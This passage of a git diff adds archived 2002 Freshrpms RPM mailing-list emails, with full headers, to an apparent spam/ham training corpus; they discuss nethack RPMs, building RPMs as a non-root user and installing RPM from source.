+From rpm-list-admin@freshrpms.net Mon Jul 29 22:29:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 16BC7440EE + for ; Mon, 29 Jul 2002 17:29:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 22:29:39 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6TLN2q20286 for + ; Mon, 29 Jul 2002 22:23:02 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6TLI3j06855; Mon, 29 Jul 2002 23:18:04 + +0200 +Received: from posti.pp.htv.fi (posti.pp.htv.fi [212.90.64.50]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6TLHaj06810 for + ; Mon, 29 Jul 2002 23:17:36 +0200 +Received: from cs78128057.pp.htv.fi ([62.78.128.57]) by posti.pp.htv.fi + (8.11.1/8.11.1) with ESMTP id g6TLHLH00203 for ; + Tue, 30 Jul 2002 00:17:21 +0300 (EETDST) +Subject: Re: req: Falcon's eye +From: Ville =?ISO-8859-1?Q?Skytt=E4?= +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020726125254.B11334@azrael.smilehouse.com> +References: <20020726125254.B11334@azrael.smilehouse.com> +Content-Type: text/plain; charset=ISO-8859-1 +X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) +Message-Id: <1027977442.1921.5.camel@bobcat.ods.org> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by egwn.net id + g6TLHaj06810 +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 30 Jul 2002 00:17:21 +0300 +Date: 30 Jul 2002 00:17:21 +0300 + +On Fri, 2002-07-26 at 12:52, Harri Haataja wrote: + +> Another thing I see in debian but not in my RH boxen. +> +> http://falconseye.sourceforge.net/ +> +> It's a GL(?) interface to nethack :) + +Take a look at , I have RPMs for RH7.3 there, +based on (and compatible with) the NH3.x that last appeared in RH7.1 +powertools. apt'able, of course :) + +-- +\/ille Skyttä +ville.skytta at iki.fi + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01172.1d99e860d44e5ac63799a14d4029fe6e b/bayes/spamham/easy_ham_2/01172.1d99e860d44e5ac63799a14d4029fe6e new file mode 100644 index 0000000..fab4ffe --- /dev/null +++ b/bayes/spamham/easy_ham_2/01172.1d99e860d44e5ac63799a14d4029fe6e @@ -0,0 +1,71 @@ +From rpm-list-admin@freshrpms.net Tue Jul 30 16:08:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1D7F0440F1 + for ; Tue, 30 Jul 2002 11:07:56 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 16:07:56 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UF87q01475 for + ; Tue, 30 Jul 2002 16:08:08 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6UF03823764; Tue, 30 Jul 2002 17:00:03 + +0200 +Received: from mail.addix.net (kahless.addix.net [195.179.139.19]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6UExF823562 for + ; Tue, 30 Jul 2002 16:59:15 +0200 +Received: from wolf359 (cic.ision-kiel.de [195.179.139.139]) by + mail.addix.net (8.9.3/8.9.3) with SMTP id QAA16476 for + ; Tue, 30 Jul 2002 16:59:04 +0200 +From: Ralf Ertzinger +To: rpm-zzzlist@freshrpms.net +Subject: Re: building as non-root / newbie question +Message-Id: <20020730170021.4ee67dc2.ralf@camperquake.de> +In-Reply-To: <20020730142853.32654.qmail@linuxmail.org> +References: <20020730142853.32654.qmail@linuxmail.org> +Organization: [NDC] ;-) +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i386-redhat-linux) +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 30 Jul 2002 17:00:21 +0200 +Date: Tue, 30 Jul 2002 17:00:21 +0200 + +Hi. + +"Kevin Worthington" wrote: + +> into /home/dude/redhat etc. by running +> #rpm -ivh foo.src.rpm + +Do this: +echo "%_topdir /home/dude/redhat" >> /home/dude/.rpmmacros + +and make sure the directory structure (RPMS, SOURCES, SPECS, SRPMS, BUILD) +is there. + +-- +R! + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01173.0402e85910220618eac922403222d0ec b/bayes/spamham/easy_ham_2/01173.0402e85910220618eac922403222d0ec new file mode 100644 index 0000000..b67fc8a --- /dev/null +++ b/bayes/spamham/easy_ham_2/01173.0402e85910220618eac922403222d0ec @@ -0,0 +1,81 @@ +From rpm-list-admin@freshrpms.net Tue Jul 30 18:00:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D25134407C + for ; Tue, 30 Jul 2002 13:00:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 18:00:12 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UGxN206496 for + ; Tue, 30 Jul 2002 17:59:23 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6UGt3826785; Tue, 30 Jul 2002 18:55:03 + +0200 +Received: from fep01-app.kolumbus.fi (fep01-0.kolumbus.fi [193.229.0.41]) + by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6UGs1826623 for + ; Tue, 30 Jul 2002 18:54:01 +0200 +Received: from azrael.blades.cxm ([62.248.237.162]) by + fep01-app.kolumbus.fi with ESMTP id + <20020730165359.TGJR18308.fep01-app.kolumbus.fi@azrael.blades.cxm> for + ; Tue, 30 Jul 2002 19:53:59 +0300 +Received: (from blades@localhost) by azrael.blades.cxm (SGI-8.9.3/8.9.3) + id TAA24669 for rpm-list@freshrpms.net; Tue, 30 Jul 2002 19:53:59 +0300 + (EEST) +X-Authentication-Warning: azrael.blades.cxm: blades set sender to + harri.haataja@cs.helsinki.fi using -f +From: Harri Haataja +To: rpm-zzzlist@freshrpms.net +Subject: Re: req: Falcon's eye +Message-Id: <20020730195358.E14123@azrael.smilehouse.com> +References: <20020726125254.B11334@azrael.smilehouse.com> + <1027977442.1921.5.camel@bobcat.ods.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Disposition: inline +Content-Transfer-Encoding: 8bit +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <1027977442.1921.5.camel@bobcat.ods.org>; from + ville.skytta@iki.fi on Tue, Jul 30, 2002 at 12:17:21AM +0300 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 30 Jul 2002 19:53:59 +0300 +Date: Tue, 30 Jul 2002 19:53:59 +0300 + +On Tue, Jul 30, 2002 at 12:17:21AM +0300, Ville Skyttä wrote: +> On Fri, 2002-07-26 at 12:52, Harri Haataja wrote: +> > Another thing I see in debian but not in my RH boxen. +> > http://falconseye.sourceforge.net/ +> > It's a GL(?) interface to nethack :) +> Take a look at , I have RPMs for RH7.3 +> there, based on (and compatible with) the NH3.x that last appeared in +> RH7.1 powertools. apt'able, of course :) + +And Text-Iconv too, nice :) + +Gpg key is nowhere in sight though even while vendors.list lists key +id's. + +-- +<@zomby[tm]> tea is just like noodle soup without noodles + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01174.4542031a0483b9b0cc8cb37de5e57422 b/bayes/spamham/easy_ham_2/01174.4542031a0483b9b0cc8cb37de5e57422 new file mode 100644 index 0000000..4e169b2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01174.4542031a0483b9b0cc8cb37de5e57422 @@ -0,0 +1,80 @@ +From rpm-list-admin@freshrpms.net Tue Jul 30 18:00:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B2326440CD + for ; Tue, 30 Jul 2002 13:00:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 18:00:14 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UGxM206494 for + ; Tue, 30 Jul 2002 17:59:22 +0100 +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id RAA23969 for ; + Tue, 30 Jul 2002 17:02:17 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6UFp2830489; Tue, 30 Jul 2002 17:51:02 + +0200 +Received: from mta1-3.us4.outblaze.com (205-158-62-44.outblaze.com + [205.158.62.44]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g6UFoO828340 for ; Tue, 30 Jul 2002 17:50:25 +0200 +Received: from ws4-4.us4.outblaze.com (205-158-62-105.outblaze.com + [205.158.62.105]) by mta1-3.us4.outblaze.com (8.12.3/8.12.3/us4-srs) with + SMTP id g6UFoH3G010571 for ; Tue, 30 Jul 2002 + 15:50:18 GMT +Received: (qmail 27544 invoked by uid 1001); 30 Jul 2002 15:50:17 -0000 +Message-Id: <20020730155017.27541.qmail@linuxmail.org> +Content-Type: text/plain; charset="iso-8859-1" +Content-Disposition: inline +Content-Transfer-Encoding: 7bit +MIME-Version: 1.0 +X-Mailer: MIME-tools 5.41 (Entity 5.404) +Received: from [127.0.0.1] by ws4-4.us4.outblaze.com with http for + kworthington@linuxmail.org; Tue, 30 Jul 2002 10:50:17 -0500 +From: "Kevin Worthington" +To: rpm-zzzlist@freshrpms.net +Subject: Re: building as non-root / newbie question +X-Originating-Ip: 127.0.0.1 +X-Originating-Server: ws4-4.us4.outblaze.com +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 30 Jul 2002 10:50:17 -0500 +Date: Tue, 30 Jul 2002 10:50:17 -0500 + +> Hehe :-) So your usual *n?x login is "dude" too? ;-))))))) +> +> Matthias + +Hey Matthias, +Actually it isn't, I used yours (I remembered from the RPM builder's guide "The fight" that your wrote). Mine is boring, I use kworthington, since my boxes are on a corporate LAN. +Sorry to get your hopes up! You can think of it as a tribute to you if it makes you feel any better :-) + +------------------------------------------------ +Kevin Worthington - +Faithful Red Hat Linux user since April 1998 +Registered Linux User #218689 - http://counter.li.org +-- +Get your free email from www.linuxmail.org + + +Powered by Outblaze + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01175.6b38ad7f9384cbe8e60578727dc52b4c b/bayes/spamham/easy_ham_2/01175.6b38ad7f9384cbe8e60578727dc52b4c new file mode 100644 index 0000000..ff3c852 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01175.6b38ad7f9384cbe8e60578727dc52b4c @@ -0,0 +1,81 @@ +From rpm-list-admin@freshrpms.net Tue Jul 30 18:00:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 88B68440E5 + for ; Tue, 30 Jul 2002 13:00:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 18:00:15 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UGxO206517 for + ; Tue, 30 Jul 2002 17:59:24 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id QAA23929 for ; + Tue, 30 Jul 2002 16:54:40 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6UFi1808201; Tue, 30 Jul 2002 17:44:01 + +0200 +Received: from mta1-3.us4.outblaze.com (205-158-62-44.outblaze.com + [205.158.62.44]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g6UFhI808137 for ; Tue, 30 Jul 2002 17:43:18 +0200 +Received: from ws4-4.us4.outblaze.com (205-158-62-105.outblaze.com + [205.158.62.105]) by mta1-3.us4.outblaze.com (8.12.3/8.12.3/us4-srs) with + SMTP id g6UFhB3G002200 for ; Tue, 30 Jul 2002 + 15:43:11 GMT +Received: (qmail 19239 invoked by uid 1001); 30 Jul 2002 15:43:11 -0000 +Message-Id: <20020730154311.19238.qmail@linuxmail.org> +Content-Type: text/plain; charset="iso-8859-1" +Content-Disposition: inline +Content-Transfer-Encoding: 7bit +MIME-Version: 1.0 +X-Mailer: MIME-tools 5.41 (Entity 5.404) +Received: from [127.0.0.1] by ws4-4.us4.outblaze.com with http for + kworthington@linuxmail.org; Tue, 30 Jul 2002 10:43:11 -0500 +From: "Kevin Worthington" +To: rpm-zzzlist@freshrpms.net +Subject: Re: building as non-root / newbie question +X-Originating-Ip: 127.0.0.1 +X-Originating-Server: ws4-4.us4.outblaze.com +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 30 Jul 2002 10:43:11 -0500 +Date: Tue, 30 Jul 2002 10:43:11 -0500 + +Hi Harri +Thanks for the help! + +> > (why do I have the feeling that Matthias will answer this one...? ;-) +> +> I'm sorry if I disappointed you :) + +Hehe, no not at all! ;) + +------------------------------------------------ +Kevin Worthington - +Faithful Red Hat Linux user since April 1998 +Registered Linux User #218689 - http://counter.li.org +-- +Get your free email from www.linuxmail.org + + +Powered by Outblaze + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01176.b62570033c5587aa1e0e805533cb1677 b/bayes/spamham/easy_ham_2/01176.b62570033c5587aa1e0e805533cb1677 new file mode 100644 index 0000000..7f9dbf4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01176.b62570033c5587aa1e0e805533cb1677 @@ -0,0 +1,80 @@ +From rpm-list-admin@freshrpms.net Tue Jul 30 18:51:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A2AE8440C8 + for ; Tue, 30 Jul 2002 13:51:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 18:51:23 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UHjH208956 for + ; Tue, 30 Jul 2002 18:45:17 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6UHe3810376; Tue, 30 Jul 2002 19:40:03 + +0200 +Received: from posti.pp.htv.fi (posti.pp.htv.fi [212.90.64.50]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6UHdA810193 for + ; Tue, 30 Jul 2002 19:39:10 +0200 +Received: from cs78128057.pp.htv.fi ([62.78.128.57]) by posti.pp.htv.fi + (8.11.1/8.11.1) with ESMTP id g6UHd3H04461 for ; + Tue, 30 Jul 2002 20:39:03 +0300 (EETDST) +Subject: Re: req: Falcon's eye +From: Ville =?ISO-8859-1?Q?Skytt=E4?= +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020730195358.E14123@azrael.smilehouse.com> +References: <20020726125254.B11334@azrael.smilehouse.com> + <1027977442.1921.5.camel@bobcat.ods.org> + <20020730195358.E14123@azrael.smilehouse.com> +Content-Type: text/plain; charset=ISO-8859-1 +X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) +Message-Id: <1028050752.7627.37.camel@bobcat.ods.org> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by egwn.net id + g6UHdA810193 +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 30 Jul 2002 20:39:11 +0300 +Date: 30 Jul 2002 20:39:11 +0300 + +On Tue, 2002-07-30 at 19:53, Harri Haataja wrote: + +> > > Another thing I see in debian but not in my RH boxen. +> > > http://falconseye.sourceforge.net/ +> > > It's a GL(?) interface to nethack :) + +> > Take a look at , I have RPMs for RH7.3 +> > there, based on (and compatible with) the NH3.x that last appeared in +> > RH7.1 powertools. apt'able, of course :) +> +> And Text-Iconv too, nice :) +> +> Gpg key is nowhere in sight though even while vendors.list lists key +> id's. + +Oops, fixed (in /apt/vs.key.asc). Thanks for pointing that out. + +-- +\/ille Skyttä +ville.skytta at iki.fi + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01177.bead19a7b498c5c483805291331e769c b/bayes/spamham/easy_ham_2/01177.bead19a7b498c5c483805291331e769c new file mode 100644 index 0000000..f99e61e --- /dev/null +++ b/bayes/spamham/easy_ham_2/01177.bead19a7b498c5c483805291331e769c @@ -0,0 +1,236 @@ +From rpm-list-admin@freshrpms.net Tue Jul 30 21:45:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6C1344407C + for ; Tue, 30 Jul 2002 16:45:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 21:45:00 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UKiO217740 for + ; Tue, 30 Jul 2002 21:44:24 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6UKM6816583; Tue, 30 Jul 2002 22:22:10 + +0200 +Received: from smtp2.home.se (smtp2.home.se [195.66.35.201]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6UKLZ815769 for + ; Tue, 30 Jul 2002 22:21:35 +0200 +Received: from dator1 mangro@home.se [213.65.67.21] by smtp2.home.se with + Novell NIMS $Revision: 2.88.1.1 $ on Novell NetWare; Tue, + 30 Jul 2002 22:14:57 +0200 +From: "Manfred Grobosch" +To: "Rpm-List" +Subject: Installing RPM +Message-Id: +MIME-Version: 1.0 +Content-Type: multipart/mixed; + boundary="----=_NextPart_000_0002_01C23817.94245ED0" +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +X-MS-Tnef-Correlator: +Importance: Normal +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +X-Reply-To: +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 30 Jul 2002 22:22:24 +0200 +Date: Tue, 30 Jul 2002 22:22:24 +0200 + +This is a multi-part message in MIME format. + +------=_NextPart_000_0002_01C23817.94245ED0 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: 7bit + +I would like to install RPM itself. I have tried to get the information by +visiting www.rpm.org and the related links they give +but they all seems to assume that RPM already is installed. +I have a firewall based on linux-2.2.20 (Smoothwall) for private use. +I would like to install the RPM package/program but there is no information +how to do this from scratch. +Found this site and hopefully some have the knowledge. +Best regards Manfred Grobosch + + +------=_NextPart_000_0002_01C23817.94245ED0 +Content-Type: application/ms-tnef; + name="winmail.dat" +Content-Transfer-Encoding: base64 +Content-Disposition: attachment; + filename="winmail.dat" + +eJ8+IhgUAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5NaWNy +b3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEGgAMADgAAANIHBwAeABYAFgAAAAIALAEB +A5AGAJwgAAAiAAAACwACAAEAAAALACMAAAAAAAMAJgAAAAAACwApAAAAAAADADYAAAAAAB4AcAAB +AAAADwAAAEluc3RhbGxpbmcgUlBNAAACAXEAAQAAABYAAAABwjgGzgGh9X7AS3xFQIvzXQmFq5EM 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+------=_NextPart_000_0002_01C23817.94245ED0-- + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01178.5c977dff972cd6eef64d4173b90307f0 b/bayes/spamham/easy_ham_2/01178.5c977dff972cd6eef64d4173b90307f0 new file mode 100644 index 0000000..7bd0669 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01178.5c977dff972cd6eef64d4173b90307f0 @@ -0,0 +1,83 @@ +From rpm-list-admin@freshrpms.net Tue Jul 30 22:25:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CB18D4407C + for ; Tue, 30 Jul 2002 17:25:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 22:25:47 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6ULK2219131 for + ; Tue, 30 Jul 2002 22:20:02 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6UL91802979; Tue, 30 Jul 2002 23:09:01 + +0200 +Received: from python (80-24-132-206.uc.nombres.ttd.es [80.24.132.206]) + (authenticated) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g6UL7u832600 for ; Tue, 30 Jul 2002 23:07:56 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: Installing RPM +Message-Id: <20020730225237.564ca6f8.matthias@egwn.net> +In-Reply-To: +References: +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.0claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 30 Jul 2002 22:52:37 +0200 +Date: Tue, 30 Jul 2002 22:52:37 +0200 + +Once upon a time, Manfred wrote : + +> I would like to install RPM itself. I have tried to get the information +> by visiting www.rpm.org and the related links they +> give but they all seems to assume that RPM already is installed. +> I have a firewall based on linux-2.2.20 (Smoothwall) for private use. +> I would like to install the RPM package/program but there is no +> information how to do this from scratch. +> Found this site and hopefully some have the knowledge. +> Best regards Manfred Grobosch + +Well, you can simply use an rpm tarball (or extract one from a source rpm +on a machine that has rpm scripts install "rpm2cpio | cpio +-dimv" and "./configure && make && make install" as usual. You need db3 or +db4 development files at least, and once everything installed you'll need +to initialize your rpm database. + +If you need more help, I suggest you join the rpm-list@redhat.com by +subscribing at https://listman.redhat.com/ + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01179.1aeec6e94d2829c1dd756d3609a8eccf b/bayes/spamham/easy_ham_2/01179.1aeec6e94d2829c1dd756d3609a8eccf new file mode 100644 index 0000000..bd76ff3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01179.1aeec6e94d2829c1dd756d3609a8eccf @@ -0,0 +1,78 @@ +From rpm-list-admin@freshrpms.net Tue Jul 30 22:25:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 491F24406D + for ; Tue, 30 Jul 2002 17:25:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 22:25:47 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6ULHp218974 for + ; Tue, 30 Jul 2002 22:17:52 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6UKs2808498; Tue, 30 Jul 2002 22:54:06 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6UKrY807458 for + ; Tue, 30 Jul 2002 22:53:34 +0200 +Received: from aquila.kamakiriad.local ([192.168.1.3]) by kamakiriad.com + (8.11.6/8.11.0) with SMTP id g6UKrCM03944; Tue, 30 Jul 2002 15:53:16 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Cc: mangro@home.se +Subject: Re: Installing RPM +Message-Id: <20020730155311.183eb204.kilroy@kamakiriad.com> +In-Reply-To: +References: +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 